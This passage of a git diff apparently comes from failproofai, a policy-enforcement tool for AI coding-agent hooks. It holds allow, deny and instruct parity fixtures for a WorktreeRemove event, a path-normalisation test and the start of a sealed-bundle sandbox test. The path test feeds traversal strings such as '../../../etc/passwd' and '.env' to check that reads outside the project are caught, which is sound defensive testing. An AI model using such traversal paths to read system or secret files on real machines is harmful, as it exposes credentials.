"output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeRemove/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/WorktreeRemove/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..8c92f6ec --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeRemove/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..be90394f --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..ee62a145 --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeRemove/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/WorktreeRemove/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..53c77c28 --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeRemove/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeRemove/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/WorktreeRemove/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..c102d09f --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeRemove/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeRemove/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/WorktreeRemove/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..43ed8af8 --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeRemove/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeRemove/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/WorktreeRemove/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..3eb52c06 --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeRemove/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeRemove/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/WorktreeRemove/deny__tool-present__one-policy.json new file mode 100644 index 00000000..e0a68456 --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeRemove/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeRemove/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/WorktreeRemove/deny__tool-present__two-policies.json new file mode 100644 index 00000000..8d814eae --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeRemove/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeRemove/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/WorktreeRemove/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..645519d7 --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeRemove/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeRemove/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/WorktreeRemove/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..530f55e7 --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeRemove/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeRemove/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/WorktreeRemove/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..6e5759ef --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeRemove/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeRemove/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/WorktreeRemove/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..e33e84c4 --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeRemove/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/policy-runtime/pure-path.test.ts b/__tests__/policy-runtime/pure-path.test.ts new file mode 100644 index 00000000..983bde41 --- /dev/null +++ b/__tests__/policy-runtime/pure-path.test.ts @@ -0,0 +1,176 @@ +/** + * Differential test: `src/policy-runtime/pure-path.ts` vs `node:path.posix`. + * + * The sealed tier has no `node:path`, so three sealed-eligible builtins do + * their path arithmetic through a reimplementation. A reimplementation that is + * *nearly* right is the worst possible outcome here: `block-read-outside-cwd` + * uses `resolve()` to decide whether a path is inside the project, and + * `isAgentInternalPath` uses `join()` to build the `~/.claude` prefix it + * whitelists. An off-by-one in `..` handling or a mishandled trailing slash + * does not throw — it silently whitelists a directory, or silently stops + * whitelisting one, and the policy keeps returning confident verdicts. + * + * So this asserts equivalence against the real thing over a generated corpus + * rather than checking a handful of examples. Every input below is run through + * both implementations and compared exactly. If Node ever changes its + * normalisation, this fails and tells us, which is the correct outcome — the + * sealed and legacy tiers must agree, whichever way they move. + */ +import { describe, it, expect } from "vitest"; +import { posix } from "node:path"; +import { resolve, join, normalize } from "../../src/policy-runtime/pure-path"; + +/** + * Segments chosen for the ways they break naive implementations: relative + * markers, empty strings, redundant and trailing separators, dotfiles, names + * that merely start with a dot, and a name containing a space. + */ +const SEGMENTS = [ + "/", + "//", + "", + ".", + "..", + "...", + "a", + "a/", + "/a", + "/a/", + "a//b", + "a/./b", + "a/../b", + "../a", + "./a", + ".claude", + ".config/opencode", + "home/u", + "/home/u", + "/home/u/", + "tmp", + "/tmp/../etc/passwd", + "/../..", + "../../..", + "my dir", + ".env", + "x/y/z", + "/a/b/../../c", +]; + +/** Every ordered pair and triple, plus each segment alone. */ +function corpus(): string[][] { + const cases: string[][] = []; + for (const a of SEGMENTS) { + cases.push([a]); + for (const b of SEGMENTS) { + cases.push([a, b]); + // Triples over a smaller slice keeps the corpus meaningful without + // making the suite slow; the interesting interactions are pairwise. + for (const c of SEGMENTS.slice(0, 8)) cases.push([a, b, c]); + } + } + return cases; +} + +const CASES = corpus(); + +describe("pure-path matches node:path.posix", () => { + it(`resolve() agrees on all ${CASES.length} generated cases`, () => { + const mismatches: Array<{ args: string[]; ours: string; node: string }> = []; + for (const args of CASES) { + // `posix.resolve` falls back to process.cwd(); ours falls back to "/". + // Only compare cases where the fallback cannot be reached, i.e. at least + // one argument is absolute — which is the contract every call site in the + // builtins satisfies. The fallback itself is asserted separately below. + if (!args.some((a) => a.startsWith("/"))) continue; + const ours = resolve(...args); + const theirs = posix.resolve(...args); + if (ours !== theirs) mismatches.push({ args, ours, node: theirs }); + } + expect(mismatches).toEqual([]); + }); + + it(`join() agrees on all ${CASES.length} generated cases`, () => { + const mismatches: Array<{ args: string[]; ours: string; node: string }> = []; + for (const args of CASES) { + const ours = join(...args); + const theirs = posix.join(...args); + if (ours !== theirs) mismatches.push({ args, ours, node: theirs }); + } + expect(mismatches).toEqual([]); + }); + + it("normalize() agrees on every single segment", () => { + const mismatches: Array<{ arg: string; ours: string; node: string }> = []; + for (const arg of SEGMENTS) { + if (arg === "") continue; // posix.normalize("") is "." — asserted below. + const ours = normalize(arg); + const theirs = posix.normalize(arg); + if (ours !== theirs) mismatches.push({ arg, ours, node: theirs }); + } + expect(mismatches).toEqual([]); + expect(normalize("")).toBe(posix.normalize("")); + }); + + it("the corpus is large enough to be meaningful", () => { + // Anti-vacuity: if `corpus()` ever returns [] the three tests above pass + // while asserting nothing. + expect(CASES.length).toBeGreaterThan(5000); + }); +}); + +describe("the sealed cwd fallback", () => { + it("resolves a wholly relative path against / rather than a real cwd", () => { + // Node would use process.cwd() here. The sealed context has no process, + // and the daemon's own cwd is wherever it was launched — wrong for the + // session being enforced, and wrong the same way for all of them. "/" is + // chosen so the result is still a well-formed absolute path. + expect(resolve("a", "b")).toBe("/a/b"); + expect(resolve(".")).toBe("/"); + expect(resolve("")).toBe("/"); + }); + + it("never returns a relative path", () => { + for (const args of CASES) { + expect(resolve(...args).startsWith("/")).toBe(true); + } + }); +}); + +describe("the cases the builtins actually depend on", () => { + // Spelled out separately from the generated corpus because these are the + // exact shapes `block-read-outside-cwd` and `isAgentInternalPath` construct, + // and a reader should be able to see them without running the generator. + const cwd = "/home/u/project"; + + it("keeps an in-project file inside the project", () => { + expect(resolve(cwd, "src/index.ts")).toBe("/home/u/project/src/index.ts"); + expect(resolve(cwd, "src/index.ts").startsWith(`${cwd}/`)).toBe(true); + }); + + it("escapes the project when the path climbs out of it", () => { + expect(resolve(cwd, "../../../etc/passwd")).toBe("/etc/passwd"); + expect(resolve(cwd, "../../../etc/passwd").startsWith(`${cwd}/`)).toBe(false); + }); + + it("cannot be tricked past the project boundary by a redundant prefix", () => { + // `/home/u/project-other` must NOT count as inside `/home/u/project`. + // The policy's own `cwd + "/"` comparison is what enforces that; this + // asserts resolve() does not normalise the two together. + expect(resolve(cwd, "/home/u/project-other/x")).toBe("/home/u/project-other/x"); + expect(resolve(cwd, "/home/u/project-other/x").startsWith(`${cwd}/`)).toBe(false); + }); + + it("builds the agent-internal prefixes the whitelist compares against", () => { + expect(join("/home/u", ".claude")).toBe("/home/u/.claude"); + expect(join(".config", "opencode")).toBe(".config/opencode"); + expect(join("/home/u", join(".local", "share", "opencode"))).toBe( + "/home/u/.local/share/opencode", + ); + }); + + it("collapses a traversal that lands exactly on the whitelisted root", () => { + expect(resolve(cwd, "/home/u/.claude/../.claude/settings.json")).toBe( + "/home/u/.claude/settings.json", + ); + }); +}); diff --git a/__tests__/policy-runtime/sealed-bundle.test.ts b/__tests__/policy-runtime/sealed-bundle.test.ts new file mode 100644 index 00000000..f99cda3c --- /dev/null +++ b/__tests__/policy-runtime/sealed-bundle.test.ts @@ -0,0 +1,265 @@ +/** + * The sealed worker bundle, executed in a context with no host bindings. + * + * The daemon evaluates this bundle inside QuickJS, where there is genuinely no + * `require`, no module loader, no `process`, and no filesystem. We cannot run + * QuickJS from vitest, but `node:vm` with a hand-built context is a close + * proxy: whatever is not explicitly placed in the context does not exist, and + * referencing it throws `ReferenceError` exactly as it would in QuickJS. + * + * That makes this the cheapest place to catch the failure the whole tier is + * built to avoid. A bundle that quietly retains a `fetch`, a `require`, or a + * live `process.env` does not fail loudly at load — it works fine on a + * developer's machine, where those globals happen to exist, and only diverges + * on the daemon. Here, it cannot: the context is the deprivation. + * + * The Rust-side equivalent (running the same bundle under real QuickJS-ng) is + * `crates/failproofaid`'s worker tests; this suite is what keeps a broken + * bundle from ever reaching them. + */ +import { describe, it, expect, beforeAll } from "vitest"; +import { readFileSync, existsSync } from "node:fs"; +import { execFileSync } from "node:child_process"; +import { resolve as resolvePath } from "node:path"; +import vm from "node:vm"; + +const REPO_ROOT = resolvePath(__dirname, "..", ".."); +const BUNDLE = resolvePath(REPO_ROOT, "crates/generated/sealed-worker.js"); + +/** The exact set of globals the sealed context is allowed to have. */ +interface SealedContext { + globalThis?: unknown; + __fpai_sealed_evaluate?: (json: string) => Promise; + __fpai_sealed_policies?: () => string; + __fpai_sealed_version?: string; + [key: string]: unknown; +} + +let source: string; + +/** + * Build a fresh sealed context. Nothing is added beyond what `vm` provides + * intrinsically (Object, Array, JSON, RegExp, Promise, …) — deliberately no + * `console`, `process`, `require`, `fetch`, `Buffer`, `setTimeout`, or `fs`. + */ +function newSealedContext(): SealedContext { + const ctx: SealedContext = Object.create(null); + vm.createContext(ctx); + vm.runInContext(source, ctx, { filename: "sealed-worker.js", timeout: 10_000 }); + return ctx; +} + +beforeAll(() => { + if 